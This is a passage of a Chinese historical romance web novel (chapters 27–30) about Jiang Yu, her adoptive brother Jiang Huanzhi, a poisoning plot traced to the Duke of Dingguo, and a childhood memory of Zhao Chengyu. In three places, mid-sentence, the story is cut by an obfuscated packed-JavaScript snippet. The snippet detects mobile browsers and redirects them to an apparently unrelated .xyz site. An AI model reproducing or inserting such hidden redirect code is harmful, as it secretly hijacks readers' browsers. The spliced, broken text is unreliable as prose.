寺庙不大,她们带上来的那些下人都只能在佛堂住通铺。江瑜本就不是娇气的人,如今房间不够,要腾出一间给江涣之住也在情理之中。 “自是可以,稍后就让翠竹把我的东西搬出来。”江瑜道。 用过早饭,江夫人带着第一次来的江涣之去前堂见住持,江瑜带着翠竹回了自己那间禅房。 看着那张床榻,江瑜又想起了前一夜发生的事。她后来自顾自地睡过去了,也不知江涣之是什么时候离去的。他会不会以为自己没听见,或是当时听见但是后来忘了? 可是她听见了,还记得一清二楚。 江瑜心里很确定一件事,她想和江涣之和好。既然他已经做了这么大的让步,那她没有理由再继续与他置气,再说了,她打心底里喜欢哥哥,前段时间冷着他不过是一时意气罢了。 江瑜的东西不多,搬着箱笼到江夫人房里,她坐在经案前,看着翠竹正在将她的衣服一件件拿出来挂好。 忽然,江瑜蹭地站起来,丢下一句“我出去一下”,随即快步走了出去。 江瑜来到之前住的那间禅房,心道江涣之既然要住这里,那么早晚会来。她决定就在这里等他。 窗户旁边立着一方书架,上面摆满了经书和卷轴。百无聊赖之下,江瑜走到架子后面,随手拿起一本翻看,上面记录着一些修身养性的心法和佛理,她一时看入了神,就连有人进来了也没发现。 木桶重重落地的声响将江瑜惊醒,她赫然抬头,将心神从经书中抽离,然而她很快就听见江涣之的声音:“这里不用你服侍了,出去吧。” 江瑜隐隐意识到什么,随着一道关门声,她透过架子上的书卷缝隙看过去,只见江涣之背对着她,开始脱起了衣裳。 江涣之宽肩窄腰,平时穿着衣服看不太出来,此时忽然褪去衣袍,能看出毕竟是习武之人,紧实贲发的线条像画笔描出来的,不太真实,也与他平日或疏离或温润的样子很不同。 江瑜屏住呼吸,心也快停止跳动了。江涣之很快就走进了木桶,热水升起袅袅烟气,隔着那层烟雾,江涣之姿态放松地泡在水里,即便阖着眼,眉间也是微微拧着的,不知在想什么。 江瑜舔了舔干涩的嘴唇,一动不敢动,尽量敛起自己的气息。紧张之余,这氤氲的水汽竟让人在寒冬里生出了一些燥热感。 江涣之的身上有很多伤,深深浅浅的刀痕是他在沙场征战多年的证明。江瑜早就知道他不是什么躺在父辈功勋上的二世祖,军功都是靠自己一刀一枪挣出来的,可触目惊心的伤疤就摆在面前,江瑜还是忍不住心疼。 她在心里默数着那一道道伤,大多在肩上和背上,其中最长的一条大约有五寸,从肩膀直延伸到背脊,那该多疼呀。还要把皮肉用针线缝起来,就像她往常绣花样子一样。 江瑜看着看着,不知怎地又想起徐绫以前说过的关于“江涣之不会疼女人”的话,她在心里狠狠驳斥了一通,事实是江涣之只对外人冷淡,他对自己可温柔了。这样看来,他也一定很会疼女人。只不过那个女人还没出现而已。 江涣之并未沐浴太久。约莫过了一炷香,言午就在门外说有事禀报,江涣之让他在门外候着,下一刻就猝不及防地站了起来。 他从善如流地走出来,披上干净的中衣和外袍,还不忘把挂着香囊的蹀躞也系上。收拾妥当后,这才打开门走出去。 几个小沙弥进来把木桶搬了出去,江瑜等人都走了,心也跳得没那么快了,才鬼鬼祟祟地从窗户飞身出去。 她一路疾步走回江夫人的禅房,翠竹还在铺床,看见江瑜回来,她诧异道:“小姐,你去做什么了,怎么脸那么红?” 江瑜抬起手,贴在自己脸颊上,果然很烫。她背过身坐在案桌前,拿起杯盏,一口气喝了大半杯清茶,含糊道:“我去练武了,所以有点热。” 翠竹还以为江瑜口渴,铺完床就赶紧走过来给她倒水。 隔着窗户,江瑜正好看见那几个小沙弥在倒木桶里的水,她小声嘀咕道:“大早上的,洗什么澡……” 翠竹往外看了一眼,笑着道:“是大少爷在用水,他夜里上的山,大概有些疲乏。” 江瑜不再说话,她捂住脸,莫名有些懊恼。她本来想去找江涣之,回应他前一晚的话,然而事情出乎意料地往另一个方向发展,她一时之间也不知该如何面对江涣之了。 就这样浑浑噩噩到了晚上,寺庙的僧人都睡得早,四周万籁俱静。江瑜躺在床上,怎么也睡不着,江夫人身上有股能安神静心的檀香味,她不自觉地往那边靠了靠。 “睡不着?”江夫人侧过身,揉了揉江瑜的发丝,低声问:“是不是寺庙太无聊了,白天没什么事做,晚上就难以入眠?” 江瑜想了想,回道:“是有一点。” 江夫人每日在佛堂一坐就是大半天,她深知江瑜年轻心性,定是坐不住的,便道:“那你下次还是莫要跟我一起上山了,留在府中多好,还能与徐家小姐她们一块出去玩。” 江瑜不置可否,反而问道:“娘,您每日都在佛堂打那么久的坐,不会累么?你都跟佛祖说什么了?” “让佛祖保佑你们兄妹平安喜乐。”江夫人想也没想就脱口而出,她忽地一顿,压低声音道:“还有,我求了你们的姻缘。” “姻缘?”江瑜差点咬到舌头,“可我还小,不想那么早嫁人。” “我也不想你那么早就嫁人,不过早些操持起来总是没错的。你可别步了你哥哥的后尘,他的婚事这几年一直是我的心病,他心里有主意,谁的话也不听。”江夫人握住江瑜的手,温声道:“你有空也帮娘多劝劝,依我看,那个孟家小姐就挺不错,正好两家都是武将,婚后她也定会体谅……” 江瑜默不作声地听着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853137|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句话也说不出来。她偷偷地想,她一点都不想江涣之娶妻,她只想让哥哥永远是她一个人的。 那些隐秘的心思注定见不得光,她不敢说出来,只好咬着唇,将一切都咽回肚子里。 江夫人只当她是答应了,絮絮叨叨说了半晌,最后说得累了,没过多久就睡了过去。江瑜睁着眼睛躺在旁边,彻底睡意全无。她索性坐了起来,蹑手蹑脚地下床走出房门。 江瑜本想出来透透气,没想到刚走出来就隐约闻到一阵食物的香气,像是在烤什么肉。她循着香味往前走去,果然看见一处火堆,上面支着一只已经快烤熟了的兔子。 江瑜怕火,因此隔着一段距离就停下了。江涣之也知道她怕火,因此在看见她的一瞬就走过来挡住了火光。 他好整以暇地抄起了手,似笑非笑地道:“寺庙里日日都是粗茶淡饭,一点荤腥也见不着,真是难熬。我方才去山里捉了只野兔子,可还没等烤熟,就招出来了一只小馋猫。” “我才不馋。”江瑜振振有词地道:“我就是睡不着,出来走走。” “既然这样,那我就一个人吃了。”江涣之走回去扯下一条兔腿,故意拿过来让江瑜闻了闻,“你确定不吃?” “我吃!”江瑜回得太快,险些咬到舌头。 看见她吃痛的样子,江涣之既疼惜又忍不住发笑,见江瑜看过来,他赶紧收敛笑意,递过来道:“趁热吃。” 江瑜接过兔腿,江涣之把身上的外袍解下来,铺在地上给她坐。等江瑜盘腿坐下,他也坐在旁边,问她:“为什么睡不着,你有心事?” 江瑜嘴里都是兔肉,她先点头,然后又摇了摇头。 “那我猜猜,是不是跟我有关?” 江瑜把肉咽了下去,正要开口,忽地听见江涣之又道:“我昨晚已经说过了,你想做什么就做什么,想说什么就说什么。我们之间不应该再有所隐瞒。” 江瑜怔了怔,悄声道:“的确与哥哥有关。” 一听见“哥哥”这两个字,江涣之眼睛一亮。不需要说太多,他知道江瑜只要愿意叫他哥哥,那就是愿意与他重修旧好了。 他邀功一般地道:“我有好消息告诉你,我查出了校场那天,给北漠侍卫下毒的人是谁。不过……在此之前你要回答我一个问题。” “从今以后,我们坦诚相待。”江瑜道:“你尽管问。” “你与蒋义如是什么关系?” 江瑜没想到他会问这个问题,略一思索,她道:“他以前做过我爹的门生。” 江涣之有些意外,但他很快就想通了其中关窍。平心而论,蒋义如背景不深,有真才实学,又为人正直,的确是个拉拢扶持的好苗子。 “既是你的人,那么入春之后我会尽力促成他的升迁。”江涣之继续道:“除了这些,你还有没有别的事瞒着我?” 江瑜心下迟疑,难道要告诉他自己已经杀过人了?还是要说她不久前刚看过他□□的身子?她打定主意要誓死保守住这两个秘密,于是挑了一个最不重要的坦白:“其实,赵承昱很早就认出了我,他知道我是裴瑜。” 江涣之眉心一跳,江瑜道:“我最开始怀疑过赵家会不会是谋害裴家的凶手,可你说赵家是清白的,我怕我如果再告诉你赵承昱得知了我的身份,你会分心去对付他。我和你都只想找出梅公子,为我爹娘报仇,我不想让你因为别的事而分身乏术。更何况,我相信赵承昱不会把我的真实身份说出去。” 28. 第 28 章 江瑜自认这番话说得在理,可她说完以后,江涣之却陷入了良久的沉默。 他知道江瑜和赵承昱之间有过一些前尘旧事,后来她以江家二小姐的身份回到京城,二人似乎也有些说不清道不明的牵扯。可他没想到,赵承昱在她心中仍然会这么重要,也这么特别。 因为担心自己会对付他,所以决定闭口不言。也因为足够信任,所以毫不怀疑他会说出去。 时隔许久,原来她还是心仪赵承昱。那他这个当哥哥的,是不是不应该再阻拦? “哥哥……”江瑜唤了一声,“你不用想太多,赵承昱虽然跟太子他们走得近,但他答应过我不会说出去。他会做到的。” 裴家和赵家过去是故交,江瑜和赵承昱算是一起长大。在说这话时,江瑜带着些连自己都不曾察觉的亲昵,仿佛在说——我知道他是什么样的人。 江涣之垂下眼眸,心里还是有些为江瑜不值。他低声道:“是么,那就好。” 江瑜还惦记着他刚才说的下毒之人,她问:“哥哥,你说的那个人究竟是谁?” 江涣之收回思绪,定了定心神,拿过一根树枝,在地上写了几个名字:“在北漠使臣抵达之前,陛下就有意要让双方派人在校场进行比试。至于北漠那边派出的人选,也是早就定下的。” “当时,知道这件事的人并不多。除了太子、三皇子、几名内侍,就是我、中书令、礼部尚书、鸿胪寺少卿和定国公了。” 江涣之拿着树枝,将前面那些人依次划掉。最后只剩下一个人——定国公。 “前面这些人都被排除了?”江瑜问。 江涣之颔首,依次解释道:“此事对皇子百害而无一益,内侍没那么大本事,鸿胪寺少卿就是赵承昱,也该排除。中书令和礼部尚书被我用别的法子试出来了,最后只剩下一个定国公。” 也就是说,意图破坏两国和睦,希望再起战事的人,正是这个定国公。 几次宫宴上,江瑜都见过这个定国公,校场那日他也在场。听闻他与璟和帝感情甚笃,早年间一起带兵打过天下,后来年迈,他被封为国公,不再有实权。因此虽然贵极人臣,但官不过虚衔,闲职罢了。 江瑜极力回想这个人,却也只有一个很模糊的印象,只隐约记得是个慈眉善目的老者,年轻时候征战过的气度几乎一点没剩下。 “又是武将……”江瑜深思道:“既然曾经跟陛下出征过,那与你爹也同朝为官?” “的确如此,不过这个卢绍元战绩平平,只是有一次他以身护主,救过陛下,因此得以平步青云。他与我爹也不算熟悉……” “等等,”江瑜突然意识到什么,“你说,他姓卢,范阳卢氏?” “他的确出身范阳,不过家中是旁支,难以靠科举或恩荫入仕,才选了军职这条路。”江涣之很快就明白过来江瑜在想什么,“你爹以前也在范阳当过县令,莫非那时候二人有过往来?” 江瑜当时还小,已经记不起来了,不过……她道:“蒋义如给我看过刑部的定罪文书,上面写着范阳有一笔赈灾款不知所踪,我爹死后,这个无头帐就安在了他身上。” “范阳……”江涣之轻声念着这两个字,“这或许是一个突破点,我会让人去查。” 夜已经很深,江瑜也吃饱了。兄妹二人分开前,江涣之忽然道:“对了,明日你要不要先随我下山?” 江瑜没有问下山做什么,也没问江涣之为何大费周章地上山却只留一天,她定定地看着他,笑着应道:“好。” 翌日清晨,江瑜起得很早,江涣之也是。他们没带下人和丫鬟,知会了江夫人一声,便一路使着轻功下山了。 山下驿馆,江涣之挑了两匹马,与江瑜一人一骑,带着些食水干粮,一路往京郊的草原而去。 “秦渊跟我说过,你的骑射还需要练习。”江涣之牵着缰绳,姿态闲散,“瑜园的院子太小,不适合纵马。” 一路走走停停,宽阔的马场映入江瑜眼帘。她深吸一口气,青草和泥土的气味沁人心脾,她不自觉地打马往前,在草原上驰骋了起来。 随着他们的到来,原本阒无一人的草原蓦地出现了一列队伍,他们像是早就等在了这里,正一路小跑地在地上插着旗帜。 江瑜有些愣神地看了一会儿,调转马头来到江涣之身边,“你是不是前几天就打算带我来这里?” 江涣之“嗯”了一声,丢了把弓箭过来,“你沿着旗帜的方向行进,看见靶子就拉弓射箭。” 突如其来的任务让江瑜有些紧张,她攥紧了手里的弓,沿着旗帜所划分出的路线策马而去。前方既有弯道,也有斜坡,对骑术的要求极高,那些靶子的位置也越来越刁钻。 到了后半程,道路变得崎岖。江瑜刚刚带领马匹跑下一个斜坡,隐蔽其间的靶子出现在视野中。 江瑜松开缰绳,仅用双腿控制住马匹,她速度极快地挽弓搭箭,身下的马还在往前疾驰,箭矢划破长空的一刻,周遭仿佛静止一瞬,江瑜被带着往后一仰,随后直起上身,重新握住缰绳。 她回头看了一眼,刚才那一发正中靶心。 还不等江瑜高兴太久,下一个靶子又出现了,这次是在高处山坡上,位置也很巧妙。江瑜依旧拉弓瞄准,马匹在这时忽然失去控制,竟朝着山坡跑去,江瑜整个人被迫往后倒,她连忙松开弓,弩箭离弦,然而她人也快从马背掉落下去了。 一声呼哨响起,江涣之骑着马从旁跃出,他行至江瑜旁边,伸出一只手安抚她的马。 两匹马并排而行,眼看已经慢下来了,快掉下去的江瑜趁机抓住马鞍,想重新坐上去。可马似乎受到惊吓,忽地又发起了狂,朝着坡上的靶子狂奔而去。 江瑜正束手无策,周身猛然一轻,江涣之一手御马,一手竟然把她拦腰拎了起来。等江瑜六神归位的时候她已经与江涣之同乘一骑,温热的怀抱把她笼住。 江涣之的两只手一左一右,像铜墙铁壁一样,将江瑜箍在中间,让人动弹不得。她其实也并不想动弹,忽如其来的男性气息让她浑身绷紧,心跳也有些失序。 好不容易适应了眼下的状况,江涣之的声音从头顶传来:“这个靶子最难,我原本以为你会费一番工夫,因此特地在旁边等着。没想到马突然失控,你也险些坠马。” 江涣之说话时喉结滚动,江瑜觉得后背的后脑勺都痒痒的。江涣之追上那匹失控的马,牵住它的缰绳,一点点地往回拉,“兴许是看你总朝着靶子射箭,它也急着想冲过去。每匹马性情都不同,我们没办法决定每次骑的马都是熟悉的,因此只能多观察,随机应变。” 江瑜其实没怎么听清江涣之的话,那种让人酥麻的、痒痒的感觉又来了,挥之不去。待那匹马平静下来,江涣之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869343|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主动与江瑜换马,他用轻功骑上那匹马,慢悠悠带着江瑜返回。 此时夕阳西斜,暮色四合,两人悠闲地骑着马。江瑜若有所思地看向江涣之,只觉岁月悠长,真想永远这样下去。 江涣之长臂一揽,伸手过来把江瑜的发丝拢在了耳后,、“是不是累了?” “不累。”江瑜摇头,“一点都不累。” 回到起点,先前插旗的那些人也抱着靶子回来了。江涣之下去一数,二十来个靶子没有一个是虚发的,全都插上了箭,而且力度之大,基本都射穿了。 江瑜下去一看,颇有些失望,最后那一发射偏了,差点就要脱靶。 见她一脸不高兴,江涣之道:“已经很好了。若是不甘心,那下次再带你来。” 江瑜总算柔和了神色,她虚虚勾了一下江涣之的手指,“那就说好了。” …… 年很快就过完了,身为中领军,江涣之进宫复职得也比一般同僚要早。 江瑜抽空去看望了琴心三人。年前,蒋义如按照约定去青楼给三人赎了身,他未着官袍,蕙娘见他面生,也没多问,收完钱就急着把三人打发了出去。 玉影从蒋义如手中接过三位姑娘,乔装打扮一番,连夜送出了城。 姑娘们在临水镇安顿下来,一通合计之后,决定用积蓄开间酒肆。这里是来往京城的必经之路,不少商户和旅人都会经过,不愁没生意。 江瑜到的时候酒肆已经如火如荼地开起来了,琴心和采薇作了妇人装扮,香云则扮作男子,假装跑腿的小厮。 江瑜掀开帘子坐下。隔了一段时日没见,再见面时竟生出了些恍如隔世之感。 江瑜道:“小琪儿的尸首还在刑部,等案子结了,我就想法子给她立个坟冢,到时再带你们过去祭拜。” 对面三人都没开口,反而齐齐朝江瑜跪了下来。采薇眼含泪光,“江二小姐,前段日子多谢照拂,您的大恩大德我们永世难忘。” “不必谢我。”江瑜把三人都扶起来,“你们日后也要注意防范,做生意嘛,难免会遇到些三教九流。有什么事尽管来江府找我。” “放心,我们都改头换面了,蕙娘来都不一定认得出。”香云站起来扯了扯江瑜的袖子,怯生生地问:“余小姐,害死小琪儿的凶手真的被抓住了?” 江瑜点头:“是,再过两日就该流放了,可能还会路过临水镇。” 流放那日,琴心、采薇和香云早早在酒肆外立上“歇业一天”的木牌,三人身着素服,来到官道,远远等待着囚犯经过。她们带上一壶酒,对着京城的方向洒去,共同祭奠着小琪儿。 与此同时在京城,戴着颈枷的罪臣梁行章已经被押解到了城门口,他的脸上被施以黥刑,刺了一个“罪”字。身后还跟着一众家眷,上上下下至少百人。江瑜看见了姚茂林,也看见了梁音,即使他们的面目完全没有了曾经的样子。 朝中官员也到了一些,有的是送行,有的是来看笑话,江瑜在那些人中见到了面色如常的定国公卢绍元。 卢绍元神色平静,仿佛这样大的一桩案子与自己全然没有关系。只不过,他手上细微的动作暴露出了些许焦躁,他两手垂在身前交握着,手指不断摩挲转动着什么。 江瑜眯着眼睛看过去,隔着官兵、囚犯、百姓和送行官员,她终于看清楚了——那是一个玉扳指。 29. 第 29 章 回到府中,江瑜还在想卢绍元和他手上那个玉扳指。玉影见她心事重重,不免问道:“那人怎么了,有什么特别的?” “没什么特别的。可也正因为看不出破绽,才觉得那人可怕。” 不知是不是自己想多了,她总觉得卢绍元也在有意无意地观察自己,那是一种深不见底的打量与试探,比的就是谁先沉不住气。 江瑜已经做好了见招拆招的准备,那天在气头上对江涣之说的并不是假话,她原本就打算让自己活成一个陷阱。因此她什么也不怕。 “你手上拿的什么?”江瑜瞥见玉影手里抱着的卷宗。 “这是蒋义如托人送来的,梁行章一案的定罪文书。”玉影递过来道:“不过不是漆封后盖了官印的卷宗,是事后誊录出来的。” 江瑜打开一看,私藏金银案果然与梁行章侄子杀人一案合并到了一起,再加上姚茂林捅出了更多事,卷宗足足有好几十页。 她看着看着不禁笑出了声,“真没看出来,蒋主事还有写话本子的才华。那么多真真假假的事拼凑在一起,还真让他圆回来了。” “是啊,大少爷也说蒋义如办事妥当。” 江瑜蓦然抬头:“哥哥也看过了?你进来的时候撞见他了?” 玉影回道:“属下的确在瑜园门口碰到了大少爷,本来还想遮掩一番。没想到大少爷一点没生气,只说以后不必这样藏着掖着,蒋义如的事他已经知道了。” 江瑜松了一口气,她这时候才后知后觉想起来,似乎也很久没看见言午了。 “大少爷还交待了暗卫,以后只要二小姐有需要,不管做什么都任您差使,但只听从安排和保护安全,不做监视之实,也无需向他汇报。还有,那些外出调查的队伍一旦回来,不论查出了什么都会先告知我,再由我告知小姐……” 说到这里,玉影忽然抬起头,有些不可置信地道:“小姐,属下也升擢了。我成了暗卫的副统领,只在言午一人之下。” 看着玉影那惶恐不安的样子,江瑜站起身,宽慰道:“既然让你坐上这个位置,那你就是名副其实的副统领。没人敢不服。” 开春以后,朝中的吏部考课也开始了。除了玉影,江瑜发现自己身边的人好像都在晋升,蒋义如被破格提拔为刑部侍郎;赵承昱做过金吾卫统领,有武职基础,现升至兵部侍郎。 赵承昱在得了谕令之后并未表现出任何欣喜之色,他一直想与父亲一样做文官,对武职没兴趣。入职以后,他每日按时上值,按部就班地处理公务,不怎么与同僚交际,整个人似乎都有些颓唐不振。 这些都是江瑜从徐绫那里听来的。她听完也没怎么在意,很快就抛诸脑后,与徐绫也许久没有见面,因为另一件让她忙得不可开交的事出现了。 大约在春末初夏时,江夫人就开始操持江瑜的及笄生辰宴。及笄对女子来说是大事,尤其是对于江瑜这样“失而复得”的孩子。这也是她成为江家人后的第一个大日子,江夫人和江涣之都拿出了十二分的重视。 整个江府都严阵以待,下人们每日都往府中搬东西,又是准备宴席,又是置办装璜的,偏偏每件事还都要来问江瑜的意见。 “帖子最好是提前一个月下,这样显得重视。”江夫人拿着本册子,一个个勾选道:“各府小姐都是该请的,你们也在宫宴上见过,不算陌生。” 江瑜拿过那些帖子看了看,除了徐绫,还有孟昭宛、赵四小姐,以及许多她不甚熟悉的小姐们都在邀请之列。 “还有,戏班子也请好了。你再选选剧目。”江夫人又朝她手里递过来另一本册子,“都是些年纪相仿的姑娘们,随你们的喜好挑选。” 江瑜一到夏天就怕热难熬,再遇到这些琐事,简直一个头两个大。她随手挑了一出剧目,转头就让翠竹再多拿些冰块进来。 “你呀,还是莫要太贪凉。”江夫人捧起那些帖子纸张,站起身道:“既然都定下来了,那我就让人去安排。” 忙碌许久,八月盛夏,江瑜的生辰总算到了。当日下午,江涣之在宴席开始之前来到瑜园,只见下人们来往匆匆,江夫人等在门口,唯独不见主角的人影。 “她人呢,宾客们都快到了。”江涣之正欲上楼催促,江夫人一把拦下了他。 “急什么,女子一生中能有几个这样的大日子?”江夫人一本正经道:“江瑜从今以后就是大姑娘了,可得好好打扮一番。” 江涣之很是不以为意,她原本想说江瑜天生丽质,哪怕不打扮也是仙姿佚貌。然而心思才刚冒头,前方忽有人影晃动,江瑜被翠竹和玉影一左一右拥了出来。 见到她的一刻,江涣之正要开口的那些话一个字也说不出来了。 平心而论,江瑜妆扮得并不算太隆重。她身着月白色轻纱襦裙,以烟紫色扶桑花纹做点缀,一头青丝盘成了望仙髻,只着一支鎏金花枝步摇,耳边还有一副翡翠坠子,走动间微颤生辉。 但就像江涣之先前所想那样,江瑜天生丽质,不需要太多装饰,只稍微点缀几许便足以光彩夺目。反倒是这般点到即止才更衬出她的昳丽灵动。 “怎么了?”江瑜走到一言不发的江涣之身前,“是不是不好看,那我回去换一身……” “没有,很好看。”江涣之突然出声,有些不自然地挪开视线,“准备好了就出来,赴宴的人快到了。” 江涣之转身走了出去,江瑜挽着江夫人的手,也往前院而去。 各府的小姐们陆续坐着马车前来,纷纷送上贺礼。江夫人将客人们安排到水榭旁,雅致的庭院坐下,见大家其乐融融地入了席,她低声含笑道:“这些人里啊,说不定就有你未来的小姑子和嫂嫂,可不能怠慢了。” 江瑜点头称是。她是今日的主角,按理说应该站出来主持这场宴席,可她环顾四周,恍惚间竟有种置身事外之感。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880888|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不想接受那些恭贺,不想走到人群里假模假式地谈笑风生,更不想听那些及笄以后就自然会来到的婚嫁话题。 “我去外面看看徐绫到了没有。”江瑜说完,转身疾步朝着江府大门走去。 …… “好了,你回去吧。”赵四小姐跳下马车,对身后的赵承昱道。 她正要往里走,转身一看,赵承昱不仅没走,反倒跟着下了马,正站在门口朝府中张望。 赵四小姐出言提醒:“江二小姐的生辰没邀请外男。” “我知道。”赵承昱收回视线,“……宴席结束之后不是还得接你么,一来一回多麻烦,我就在这里等你。” “嫌麻烦那就不要来啊,”赵四小姐脸颊鼓鼓的,“本来都让你不用送我了。” “我跟你说不清楚。”赵承昱挥挥手道:“总之你快进去,去迟了可不好。” 赵四小姐牵着嬷嬷的手进了江府大门,赵承昱让护卫把马车牵到旁边停下,他抬起头,望见高悬的圆月,一时间心中竟泛起苦楚。 他也不知道自己为什么要来,江瑜不想见到他,甚至明确表达过想与他划清界限。可在自家妹妹要来江家赴宴的时候,他还是不由自主地跟来了,想着若是能见她一面也好,即使只远远地看一眼。 相思之苦何其煎熬,赵承昱心中微叹,刚低下头,竟看见步伐匆匆的江瑜走出来了。 江瑜站在门口,正往远处看去,耳边忽然响起一道清朗的嗓音:“江二小姐。” 江瑜先是一惊,待看清来人了,她不自觉后退一步:“你……” “我是送四妹妹过来的,稍晚些还要接她回去。”赵承昱急忙解释。 江瑜神情稍霁,她不免又朝路上望了一眼——这个徐绫怎么还没到! “你不想进去?” 赵承昱原本站在台阶下,见江瑜似是被猜中心思,他便往上走了两阶,直直望进她的眼睛:“我知道,你的生辰不是今日。你是深冬出生的,我们幼时在范阳,你生辰那天我给过你玉佩,你忘了?” 江瑜自然没忘,可他怎么能,怎么敢就这样毫无顾忌地说起他们曾经的往事? 她蹙起眉,面色不善道:“赵公子,我不知道你在说什么。我哥哥一会就要出来寻我,你还是快走吧。” 后面那句话听起来格外耳熟,赵承昱心中震荡,他一动不动地站着,眼底情绪反而愈加翻涌。 见赵承昱不走,江瑜索性转过身打算回府,那人却一步上前挡住了她的去路,“还是在范阳,那一次,我来找你你也让我快走,怕的是我爹罚我。那这一次呢,你怕你哥哥找我麻烦?” 赵承昱缓缓开口道:“我自认没做任何僭越之事,即便对你心生爱慕,那也可以说是在宫宴上一见倾心。你哥哥若硬要找我的麻烦,只会有一个理由,那就是他知晓了我已认出你。” “或者,是你主动告诉了他?” 30. 第 30 章 若要追究起二人的第一次见面,那还是得从范阳说起。 彼时的江瑜还是裴瑜,是个粉雕玉琢的小娃娃。随着一纸调任下来,她随爹娘一起来到范阳,住在知县府。 差不多也就是在那个时候,如今的翰林学士和太傅——赵大人亦被调来,出任地方学政。 江瑜直到现在还记得她爹当时有多欢喜,能见到昔日求学时的旧友,日日谈古论今、吟诗作对,消解了许多初来乍到、人生地不熟的苦闷。 赵承昱被带到江瑜面前时,两人的个头一般高,她爹笑着道:“喏,我给你找了个玩伴来,你们一块玩。”说完便去忙公务了。 江瑜自知事起,家里就请了夫子教习认字,她本身也性子沉静,常在书房写字练琴,没怎么与同龄人玩乐过。 她眨眨眼,看着面前这个晒得黑黢黢,拿着把长缨枪舞得虎虎生风的小哥哥,心里不知怎地就存了些讨好的意味。 赵承昱也半眯着眼在打量她,末了,他似是有些不耐烦地开口:“你想玩什么,斗蛐蛐、滚铁环、还是射弹弓?” 江瑜听得云里雾里,别说玩了,她连听也没听过。可她不想一开始就显得格格不入,于是头一仰:“都可以。” 赵承昱转身往外府跑去,他有习武的底子,平日也漫山遍野地跑惯了,江瑜很吃力地才跟上他。很快,他身边集结起四五个年岁差不多的男儿,都是莫名其妙就加入进来的。 “去捉鱼吗?”有一人问道。 “行!”赵承昱答应得痛快,说完就往小溪边走。 江瑜本就是勉强跟上的,快走到溪边时,脚下的路已经变得湿泞打滑。前面的几个孩子都挽起裤腿,脱了鞋走进去。溪水清澈,那些鱼一抓一个准,滑不溜手地投进竹篓里,全都笑得前俯后仰。 江瑜站在溪水边,迟迟不敢下去。她害怕那些让人站不稳的石头,也觉得不应该撩起裙摆,让人看见她的身子。 “赵承昱……”她先是小小声唤了几句,见他没听见,便高声了些:“赵承昱!” 这下不仅是赵承昱听见了,其他伙伴也全都看了过来,有人发出了意味不明的嬉笑声,“你怎么还带了个尾巴来?” 赵承昱一张脸绷得很紧,他抬步走过来,对江瑜道:“你要是不想下水就回去。” “我们可以去做点别的……” “我本来就嫌家里那一串弟弟妹妹烦,这才跟着我爹来范阳的。”赵承昱眼里的嫌弃都快溢出来了,他没有刻意压低声音,江瑜能感觉到许多视线都落在自己身上,盯得她脸上火辣辣的。 “早知道要带小的,我还不如留在京城!”赵承昱说完这句话就转身跑了回去,显然不愿再理会江瑜。 江瑜在原地站了片刻,提着裙子开始往回走。来范阳这段日子,她很少出门,偶尔要去别家赴宴,也是坐着马车,车进车出的。她很快就意识到自己迷了路,先前来的时候,她光是为了追上赵承昱就费了好大的劲,哪里还有闲工夫记路? 江瑜从来没有陷入过这样孤立无援的境地,身边没有爹娘,也没有丫鬟嬷嬷,四周都是一模一样的山林土路。 她手足无措地转了几圈,终是下定了决心要折返回溪边找赵承昱。可等江瑜好不容易再回到溪边,眼前空空荡荡,早已没了那几个孩子的身影。 江瑜不知是她记错了路,还是那些人换了地方。几经耽搁之下,日头都快西斜了,她心里一急,转身又往来时的方向赶,冷不丁脚下一滑,狠狠摔在了泥地里。 江瑜生性好洁净,看着裙边的脏污,她耷拉着眼睛,有些鼻酸。想站起来,脚腕子也传来一阵剧痛,这一日的委屈仿佛终于积累到足够满溢,她垂着脸,小声啜泣起来。 天已经快黑了,江瑜破罐子破摔地想,她迟迟不回去,家里总会派人出来找。可还不等她哭够了重振精神,身后突然传来一道粗犷的成年男子声音:“哟,这是哪家的小丫头在这哭呢?” …… 赵承昱一行人等天黑了才玩够往回走,竹篓里是满满一筐还在扑腾的鱼,他发丝还挂着晶莹的水珠,别提有多尽兴了。 “咦?”身旁有人踢到一个物件,那人捡起来一看:“这是什么?” 趁着月色,赵承昱看见玩伴手中赫然是个用不同颜色绦子编织而成的饰结,他越看越眼熟,猛然想起这不就是挂在那个女娃娃身上的么? 饰结早就断了,看得出那人一定摔得不轻。赵承昱脸色一白,总算意识到自己闯了多大的祸,他一把夺过饰结,急切往前走了几步,逮着个妇人就问:“大娘,您有没有见到一个小女娃?穿着绯色襦裙,长得又白又好看,像年画上的小仙童一样。” 